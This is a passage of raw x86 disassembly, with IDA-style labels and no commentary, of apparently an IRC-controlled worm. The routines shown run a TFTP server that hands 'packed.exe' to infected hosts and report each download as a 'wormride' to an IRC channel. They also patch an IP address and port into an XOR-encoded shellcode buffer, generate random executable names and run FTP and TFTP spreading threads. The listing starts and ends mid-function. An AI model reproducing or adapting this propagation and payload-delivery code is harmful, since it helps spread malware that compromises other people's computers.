lea eax, [ebp+var_18]
push eax
push [ebp+var_8]
call sub_416F7A ; _itoa
add esp, 0Ch
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push offset a127_0_0_1 ; "127.0.0.1"
call sub_4050EA
add esp, 10h
mov [ebp+var_1C4], eax
cmp [ebp+var_1C4], 0
jz short loc_411CAB
push [ebp+var_1C4]
call sub_411A09
pop ecx
test eax, eax
jz short loc_411C9F
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp [ebp+var_4], 0
jnz short loc_411C76
push 2
lea eax, [ebp+var_18]
push eax
push [ebp+var_10]
call sub_404871
add esp, 0Ch
jmp short loc_411C9F
; ---------------------------------------------------------------------------
loc_411C76: ; CODE XREF: sub_411BBC+A5j
push 2
lea eax, [ebp+var_18]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_411C9F
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_411D55
; ---------------------------------------------------------------------------
loc_411C9F: ; CODE XREF: sub_411BBC+98j
; sub_411BBC+B8j ...
push [ebp+var_1C4]
call sub_4053B1
pop ecx
loc_411CAB: ; CODE XREF: sub_411BBC+88j
jmp loc_411BFD
; ---------------------------------------------------------------------------
loc_411CB0: ; CODE XREF: sub_411BBC+4Fj
cmp [ebp+var_10], 0
jnz short loc_411CC9
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_411D55
; ---------------------------------------------------------------------------
loc_411CC9: ; CODE XREF: sub_411BBC+F8j
mov eax, [ebp+var_1C0]
push dword ptr [eax]
push offset unk_41C6DC
lea eax, [ebp+var_1BC]
push eax
call sub_40D53F
add esp, 0Ch
loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj
push 3E8h
push [ebp+var_10]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1C8], eax
cmp [ebp+var_1C8], 0
jz short loc_411D2E
cmp [ebp+var_1C8], 0FFFFFFFFh
jz short loc_411D2E
push [ebp+var_1C8]
push offset sub_41113B
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_411D2E
push [ebp+var_1C8]
call sub_4053B1
pop ecx
loc_411D2E: ; CODE XREF: sub_411BBC+145j
; sub_411BBC+14Ej ...
mov eax, [ebp+var_1C0]
cmp dword ptr [eax+4], 0
jz short loc_411D3C
jmp short loc_411D3E
; ---------------------------------------------------------------------------
loc_411D3C: ; CODE XREF: sub_411BBC+17Cj
jmp short loc_411CE5
; ---------------------------------------------------------------------------
loc_411D3E: ; CODE XREF: sub_411BBC+17Ej
push [ebp+var_10]
call sub_404CBB
pop ecx
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
locret_411D55: ; CODE XREF: sub_411BBC+DEj
; sub_411BBC+108j
leave
retn 4
sub_411BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_411BBC
pop ebp
retn 4
sub_411D59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp
; sub_40A9CF+735p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_4042FB
test eax, eax
jz short loc_411D77
jmp short locret_411DC3
; ---------------------------------------------------------------------------
loc_411D77: ; CODE XREF: sub_411D68+Bj
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_411D8D
jmp short locret_411DC3
; ---------------------------------------------------------------------------
loc_411D8D: ; CODE XREF: sub_411D68+21j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aFtpWormrideThr ; "FTP wormride thread"
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_411D59
call sub_4095A4
add esp, 10h
locret_411DC3: ; CODE XREF: sub_411D68+Dj
; sub_411D68+23j
leave
retn
sub_411D68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o
var_DAC = dword ptr -0DACh
var_DA8 = dword ptr -0DA8h
var_DA4 = dword ptr -0DA4h
var_DA0 = byte ptr -0DA0h
var_D9C = dword ptr -0D9Ch
var_D98 = byte ptr -0D98h
var_D94 = dword ptr -0D94h
var_D90 = dword ptr -0D90h
var_D8C = dword ptr -0D8Ch
var_D88 = dword ptr -0D88h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D7C = dword ptr -0D7Ch
var_D70 = byte ptr -0D70h
var_D6F = byte ptr -0D6Fh
var_D6E = byte ptr -0D6Eh
var_D6D = byte ptr -0D6Dh
var_D6C = byte ptr -0D6Ch
var_B6C = dword ptr -0B6Ch
var_B68 = dword ptr -0B68h
var_B64 = dword ptr -0B64h
var_B60 = dword ptr -0B60h
var_B5C = dword ptr -0B5Ch
var_B58 = dword ptr -0B58h
var_358 = dword ptr -358h
var_354 = byte ptr -354h
var_1B0 = word ptr -1B0h
var_1AE = word ptr -1AEh
var_1AC = dword ptr -1ACh
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_19B = byte ptr -19Bh
var_19A = byte ptr -19Ah
var_199 = byte ptr -199h
var_11C = byte ptr -11Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DACh
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_358]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 0
push 2
push 2
call ds:dword_417218 ; socket
mov [ebp+var_108], eax
cmp [ebp+var_108], 0FFFFFFFFh
jnz short loc_411E1D
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411E1D: ; CODE XREF: sub_411DC5+43j
lea eax, [ebp+var_104]
push eax
call sub_40CF25
push eax
call sub_40449C
pop ecx
pop ecx
push 10h
push 0
lea eax, [ebp+var_1B0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_1B0], 2
push 45h
call ds:dword_417238 ; ntohs
mov [ebp+var_1AE], ax
lea eax, [ebp+var_104]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_1AC], eax
mov [ebp+var_1A0], 1
push 4
lea eax, [ebp+var_1A0]
push eax
push 4
push 0FFFFh
push [ebp+var_108]
call ds:dword_417204 ; setsockopt
push 10h
lea eax, [ebp+var_1B0]
push eax
push [ebp+var_108]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_411EC2
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411EC2: ; CODE XREF: sub_411DC5+E8j
push offset aRb ; "rb"
push offset aPacked_exe ; "packed.exe"
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 0
jnz short loc_411F01
push [ebp+var_108]
call ds:dword_417230 ; closesocket
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411F01: ; CODE XREF: sub_411DC5+11Bj
mov eax, [ebp+var_358]
push dword ptr [eax]
push offset unk_41C788
lea eax, [ebp+var_354]
push eax
call sub_40D53F
add esp, 0Ch
push 2
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_10C]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_4], eax
push 0
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push 80h
push 0
lea eax, [ebp+var_19C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j
; sub_411DC5:loc_4123C6j
mov [ebp+var_B64], 1
and [ebp+var_B60], 0
and [ebp+var_B5C], 0
loc_411F7E: ; CODE XREF: sub_411DC5+234j
and [ebp+var_B68], 0
jmp short loc_411F94
; ---------------------------------------------------------------------------
loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j
mov eax, [ebp+var_B68]
inc eax
mov [ebp+var_B68], eax
loc_411F94: ; CODE XREF: sub_411DC5+1C0j
mov eax, [ebp+var_B68]
cmp eax, [ebp+var_B5C]
jnb short loc_411FBB
mov eax, [ebp+var_B68]
mov eax, [ebp+eax*4+var_B58]
cmp eax, [ebp+var_108]
jnz short loc_411FB9
jmp short loc_411FBB
; ---------------------------------------------------------------------------
loc_411FB9: ; CODE XREF: sub_411DC5+1F0j
jmp short loc_411F87
; ---------------------------------------------------------------------------
loc_411FBB: ; CODE XREF: sub_411DC5+1DBj
; sub_411DC5+1F2j
mov eax, [ebp+var_B68]
cmp eax, [ebp+var_B5C]
jnz short loc_411FF5
cmp [ebp+var_B5C], 200h
jnb short loc_411FF5
mov eax, [ebp+var_B68]
mov ecx, [ebp+var_108]
mov [ebp+eax*4+var_B58], ecx
mov eax, [ebp+var_B5C]
inc eax
mov [ebp+var_B5C], eax
loc_411FF5: ; CODE XREF: sub_411DC5+202j
; sub_411DC5+20Ej
xor eax, eax
test eax, eax
jnz short loc_411F7E
lea eax, [ebp+var_B64]
push eax
push 0
push 0
lea eax, [ebp+var_B5C]
push eax
push 0
call ds:dword_41722C ; select
test eax, eax
jle loc_4123B8
mov [ebp+var_D84], 10h
mov al, byte_41DE30
mov [ebp+var_D70], al
mov ecx, 80h
xor eax, eax
lea edi, [ebp+var_D6F]
rep stosd
stosw
stosb
lea eax, [ebp+var_D84]
push eax
lea eax, [ebp+var_D80]
push eax
push 0
push 80h
lea eax, [ebp+var_19C]
push eax
push [ebp+var_108]
call ds:dword_417258 ; recvfrom
mov [ebp+var_B6C], eax
cmp [ebp+var_B6C], 0
jz short loc_412084
cmp [ebp+var_B6C], 0FFFFFFFFh
jnz short loc_412089
loc_412084: ; CODE XREF: sub_411DC5+2B4j
jmp loc_411F66
; ---------------------------------------------------------------------------
loc_412089: ; CODE XREF: sub_411DC5+2BDj
movsx eax, [ebp+var_19C]
test eax, eax
jnz loc_4121C0
movsx eax, [ebp+var_19B]
cmp eax, 1
jnz loc_4121C0
lea eax, [ebp+var_19C]
mov [ebp+var_D88], eax
lea eax, [ebp+var_19C]
mov [ebp+var_D8C], eax
mov eax, [ebp+var_D88]
inc eax
inc eax
mov [ebp+var_D88], eax
mov eax, [ebp+var_D8C]
inc eax
inc eax
mov [ebp+var_D8C], eax
push [ebp+var_D8C]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_D8C]
lea eax, [ecx+eax+1]
mov [ebp+var_D8C], eax
push offset aOctet ; "octet"
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_D8C]
push offset aOctet ; "octet"
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_41213F
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
push 13h
push offset dword_41C76C
push [ebp+var_108]
call ds:dword_417250 ; sendto
jmp short loc_4121BB
; ---------------------------------------------------------------------------
loc_41213F: ; CODE XREF: sub_411DC5+354j
push 0
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
and [ebp+var_D70], 0
mov [ebp+var_D6F], 3
and [ebp+var_D6E], 0
mov [ebp+var_D6D], 1
push [ebp+var_10C]
push 200h
push 1
lea eax, [ebp+var_D6C]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_D90], eax
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
mov eax, [ebp+var_D90]
add eax, 4
push eax
lea eax, [ebp+var_D70]
push eax
push [ebp+var_108]
call ds:dword_417250 ; sendto
loc_4121BB: ; CODE XREF: sub_411DC5+378j
jmp loc_4123B8
; ---------------------------------------------------------------------------
loc_4121C0: ; CODE XREF: sub_411DC5+2CDj
; sub_411DC5+2DDj
movsx eax, [ebp+var_19C]
test eax, eax
jnz loc_412396
movsx eax, [ebp+var_19B]
cmp eax, 4
jnz loc_412396
mov al, [ebp+var_19A]
mov [ebp+var_DA0], al
mov al, [ebp+var_199]
mov [ebp+var_D98], al
and [ebp+var_D70], 0
mov [ebp+var_D6F], 3
movzx eax, [ebp+var_D98]
cmp eax, 0FFh
jnz short loc_412242
mov al, [ebp+var_DA0]
add al, 1
mov [ebp+var_DA0], al
mov al, [ebp+var_DA0]
mov [ebp+var_D6E], al
and [ebp+var_D98], 0
mov al, [ebp+var_D98]
mov [ebp+var_D6D], al
jmp short loc_412268
; ---------------------------------------------------------------------------
loc_412242: ; CODE XREF: sub_411DC5+44Cj
mov al, [ebp+var_DA0]
mov [ebp+var_D6E], al
mov al, [ebp+var_D98]
add al, 1
mov [ebp+var_D98], al
mov al, [ebp+var_D98]
mov [ebp+var_D6D], al
loc_412268: ; CODE XREF: sub_411DC5+47Bj
movzx eax, [ebp+var_DA0]
shl eax, 8
movzx ecx, [ebp+var_D98]
lea eax, [eax+ecx-1]
mov [ebp+var_D9C], eax
push 0
mov eax, [ebp+var_D9C]
shl eax, 9
push eax
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_10C]
push 200h
push 1
lea eax, [ebp+var_D6C]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_D94], eax
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
mov eax, [ebp+var_D94]
add eax, 4
push eax
lea eax, [ebp+var_D70]
push eax
push [ebp+var_108]
call ds:dword_417250 ; sendto
cmp [ebp+var_D94], 0
jnz loc_412394
mov eax, [ebp+var_D9C]
shl eax, 9
cmp eax, [ebp+var_4]
jb loc_412394
mov eax, [ebp+var_D7C]
mov [ebp+var_DA8], eax
push [ebp+var_DA8]
push offset dword_41EB10
call sub_409C9D
pop ecx
pop ecx
mov [ebp+var_DA4], eax
mov eax, [ebp+var_DA4]
cmp eax, [ebp+var_DA8]
jz short loc_412394
push 1
push offset dword_41EB14
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_DAC], eax
push 10h
push [ebp+var_D7C]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_11C]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_11C]
push eax
mov eax, [ebp+var_DAC]
inc eax
push eax
push offset aWormride ; "wormride"
push offset unk_41C730
push offset aLast ; "#last"
call sub_40D4AB
add esp, 14h
loc_412394: ; CODE XREF: sub_411DC5+52Dj
; sub_411DC5+53Fj ...
jmp short loc_4123B8
; ---------------------------------------------------------------------------
loc_412396: ; CODE XREF: sub_411DC5+404j
; sub_411DC5+414j
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
push 9
push offset dword_41C724
push [ebp+var_108]
call ds:dword_417250 ; sendto
loc_4123B8: ; CODE XREF: sub_411DC5+252j
; sub_411DC5:loc_4121BBj ...
mov eax, [ebp+var_358]
cmp dword ptr [eax+4], 0
jz short loc_4123C6
jmp short loc_4123CB
; ---------------------------------------------------------------------------
loc_4123C6: ; CODE XREF: sub_411DC5+5FDj
jmp loc_411F66
; ---------------------------------------------------------------------------
loc_4123CB: ; CODE XREF: sub_411DC5+5FFj
push [ebp+var_10C]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_108]
call ds:dword_417230 ; closesocket
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
loc_4123F1: ; CODE XREF: sub_411DC5+53j
; sub_411DC5+F8j ...
pop edi
leave
retn 4
sub_411DC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p
; sub_40A9CF+742p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412410
jmp short locret_412446
; ---------------------------------------------------------------------------
loc_412410: ; CODE XREF: sub_4123F6+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aTftpWormrideTh ; "TFTP wormride thread"
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_411DC5
call sub_4095A4
add esp, 10h
locret_412446: ; CODE XREF: sub_4123F6+18j
leave
retn
sub_4123F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412448 proc near ; CODE XREF: sub_4125DF+88p
; sub_4125DF+ADp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_41245A
; ---------------------------------------------------------------------------
loc_412453: ; CODE XREF: sub_412448:loc_41249Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_41245A: ; CODE XREF: sub_412448+9j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_41249C
and [ebp+var_8], 0
jmp short loc_41246F
; ---------------------------------------------------------------------------
loc_412468: ; CODE XREF: sub_412448:loc_412498j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_41246F: ; CODE XREF: sub_412448+1Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_C]
jnb short loc_41249A
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+arg_10]
xor eax, ecx
mov ecx, [ebp+arg_8]
add ecx, [ebp+var_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_412498
push 1
pop eax
jmp short locret_41249E
; ---------------------------------------------------------------------------
loc_412498: ; CODE XREF: sub_412448+49j
jmp short loc_412468
; ---------------------------------------------------------------------------
loc_41249A: ; CODE XREF: sub_412448+2Dj
jmp short loc_412453
; ---------------------------------------------------------------------------
loc_41249C: ; CODE XREF: sub_412448+18j
xor eax, eax
locret_41249E: ; CODE XREF: sub_412448+4Ej
leave
retn
sub_412448 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_4], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
and [ebp+var_C], 0
cmp [ebp+arg_8], 1
jnz short loc_41250C
cmp [ebp+arg_4], 0B2h
jnb short loc_4124CC
xor eax, eax
jmp locret_4125DD
; ---------------------------------------------------------------------------
loc_4124CC: ; CODE XREF: sub_4124A0+23j
mov [ebp+var_C], 0B2h
push [ebp+var_C]
push offset dword_41C964
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 8Fh
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 88h
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0ACh
mov [ebp+var_8], eax
jmp loc_41259C
; ---------------------------------------------------------------------------
loc_41250C: ; CODE XREF: sub_4124A0+1Aj
cmp [ebp+arg_8], 2
jnz short loc_412554
cmp [ebp+arg_4], 0C6h
jnb short loc_412522
xor eax, eax
jmp locret_4125DD
; ---------------------------------------------------------------------------
loc_412522: ; CODE XREF: sub_4124A0+79j
mov [ebp+var_C], 0C6h
push [ebp+var_C]
push offset dword_41C89C
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 89h
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0C0h
mov [ebp+var_8], eax
jmp short loc_41259C
; ---------------------------------------------------------------------------
loc_412554: ; CODE XREF: sub_4124A0+70j
cmp [ebp+arg_4], 0B2h
jnb short loc_412561
xor eax, eax
jmp short locret_4125DD
; ---------------------------------------------------------------------------
loc_412561: ; CODE XREF: sub_4124A0+BBj
mov [ebp+var_C], 0B2h
push [ebp+var_C]
push offset dword_41C7E8
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 86h
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 8Dh
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0ACh
mov [ebp+var_8], eax
loc_41259C: ; CODE XREF: sub_4124A0+67j
; sub_4124A0+B2j
cmp [ebp+var_4], 0
jz short loc_4125B0
push [ebp+arg_C]
call ds:dword_417244 ; inet_addr
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_4125B0: ; CODE XREF: sub_4124A0+100j
cmp [ebp+var_10], 0
jz short loc_4125CC
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov ecx, [ebp+var_10]
mov [ecx], ax
loc_4125CC: ; CODE XREF: sub_4124A0+114j
cmp [ebp+var_8], 0
jz short loc_4125DA
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
mov [eax], ecx
loc_4125DA: ; CODE XREF: sub_4124A0+130j
mov eax, [ebp+var_C]
locret_4125DD: ; CODE XREF: sub_4124A0+27j
; sub_4124A0+7Dj ...
leave
retn
sub_4124A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125DF proc near ; CODE XREF: sub_410649+8Bp
; sub_410B52+41p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_4], 1Ch
jnb short loc_4125F2
xor eax, eax
jmp locret_41271E
; ---------------------------------------------------------------------------
loc_4125F2: ; CODE XREF: sub_4125DF+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 1Ch
mov [ebp+var_4], eax
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push 1E4h
push [ebp+var_4]
call sub_4124A0
add esp, 18h
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_41262D
xor eax, eax
jmp locret_41271E
; ---------------------------------------------------------------------------
loc_41262D: ; CODE XREF: sub_4125DF+45j
push 1Ch
push offset dword_41C7C8
push [ebp+var_10]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, dword_41CB98
mov [ebp+var_8], eax
jmp short loc_412659
; ---------------------------------------------------------------------------
loc_412649: ; CODE XREF: sub_4125DF+94j
; sub_4125DF:loc_41269Aj
call sub_410422
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov dword_41CB98, eax
loc_412659: ; CODE XREF: sub_4125DF+68j
push 0
push [ebp+arg_1C]
push [ebp+arg_18]
push 4
lea eax, [ebp+var_8]
push eax
call sub_412448
add esp, 14h
test eax, eax
jz short loc_412675
jmp short loc_412649
; ---------------------------------------------------------------------------
loc_412675: ; CODE XREF: sub_4125DF+92j
mov eax, [ebp+var_14]
xor eax, [ebp+var_8]
mov [ebp+var_1C], eax
push 0
push [ebp+arg_1C]
push [ebp+arg_18]
push 4
lea eax, [ebp+var_1C]
push eax
call sub_412448
add esp, 14h
test eax, eax
jnz short loc_41269A
jmp short loc_41269C
; ---------------------------------------------------------------------------
loc_41269A: ; CODE XREF: sub_4125DF+B7j
jmp short loc_412649
; ---------------------------------------------------------------------------
loc_41269C: ; CODE XREF: sub_4125DF+B9j
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax+3], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_1C]
mov [eax+9], ecx
mov al, byte_41CB95
mov byte ptr [ebp+var_C], al
jmp short loc_4126C8
; ---------------------------------------------------------------------------
loc_4126B8: ; CODE XREF: sub_4125DF+104j
call sub_410461
mov byte ptr [ebp+var_C], al
mov al, byte ptr [ebp+var_C]
mov byte_41CB95, al
loc_4126C8: ; CODE XREF: sub_4125DF+D7j
push [ebp+var_C]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_14]
push [ebp+var_4]
call sub_412448
add esp, 14h
test eax, eax
jz short loc_4126E5
jmp short loc_4126B8
; ---------------------------------------------------------------------------
loc_4126E5: ; CODE XREF: sub_4125DF+102j
mov eax, [ebp+var_10]
mov cl, byte ptr [ebp+var_C]
mov [eax+12h], cl
and [ebp+var_18], 0
jmp short loc_4126FB
; ---------------------------------------------------------------------------
loc_4126F4: ; CODE XREF: sub_4125DF+137j
mov eax, [ebp+var_18]
inc eax
mov [ebp+var_18], eax
loc_4126FB: ; CODE XREF: sub_4125DF+113j
mov eax, [ebp+var_18]
cmp eax, [ebp+var_14]
jnb short loc_412718
mov eax, [ebp+var_4]
add eax, [ebp+var_18]
mov al, [eax]
xor al, byte ptr [ebp+var_C]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_18]
mov [ecx], al
jmp short loc_4126F4
; ---------------------------------------------------------------------------
loc_412718: ; CODE XREF: sub_4125DF+122j
mov eax, [ebp+var_14]
add eax, 1Ch
locret_41271E: ; CODE XREF: sub_4125DF+Ej
; sub_4125DF+49j
leave
retn
sub_4125DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412720 proc near ; CODE XREF: sub_412A3A+Cp
; sub_412BC9+DFp ...
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_E4 = byte ptr -0E4h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 194h
push 8
push 4
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_194], eax
and [ebp+var_190], 0
loc_412741: ; CODE XREF: sub_412720:loc_41278Aj
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_190]
mov [ebp+ecx+var_10], al
mov eax, [ebp+var_190]
inc eax
mov [ebp+var_190], eax
mov eax, [ebp+var_190]
cmp eax, [ebp+var_194]
jnz short loc_41278A
push offset a_exe ; ".exe"
mov eax, [ebp+var_190]
lea eax, [ebp+eax+var_10]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_41278C
; ---------------------------------------------------------------------------
loc_41278A: ; CODE XREF: sub_412720+4Fj
jmp short loc_412741
; ---------------------------------------------------------------------------
loc_41278C: ; CODE XREF: sub_412720+68j
push 17Ch
push offset dword_41CA18
lea eax, [ebp+var_18C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push 17Ch
lea eax, [ebp+var_18C]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
leave
retn
sub_412720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp
; sub_412BC9+133p ...
var_24C = byte ptr -24Ch
var_22C = byte ptr -22Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24Ch
cmp dword_41EB1C, 0
jnz loc_4128A0
mov dword_41EB1C, 1
and [ebp+var_20C], 0
jmp short loc_412806
; ---------------------------------------------------------------------------
loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj
mov eax, [ebp+var_20C]
inc eax
mov [ebp+var_20C], eax
loc_412806: ; CODE XREF: sub_4127D0+27j
mov eax, [ebp+var_20C]
imul eax, 0Ch
cmp off_41DA68[eax], 0
jz loc_4128A0
push 20h
mov eax, [ebp+var_20C]
imul eax, 0Ch
push off_41DA68[eax]
lea eax, [ebp+var_22C]
push eax
call sub_407A56
add esp, 0Ch
push 20h
mov eax, [ebp+var_20C]
imul eax, 0Ch
push off_41CBA0[eax]
lea eax, [ebp+var_24C]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_22C]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_24C]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_24C]
push eax
lea eax, [ebp+var_22C]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_41289B
mov dword_41EB20, 1
jmp short loc_4128A0
; ---------------------------------------------------------------------------
loc_41289B: ; CODE XREF: sub_4127D0+BDj
jmp loc_4127F9
; ---------------------------------------------------------------------------
loc_4128A0: ; CODE XREF: sub_4127D0+10j
; sub_4127D0+46j ...
cmp dword_41EB20, 0
jz short loc_4128AE
push 1
pop eax
jmp short locret_412917
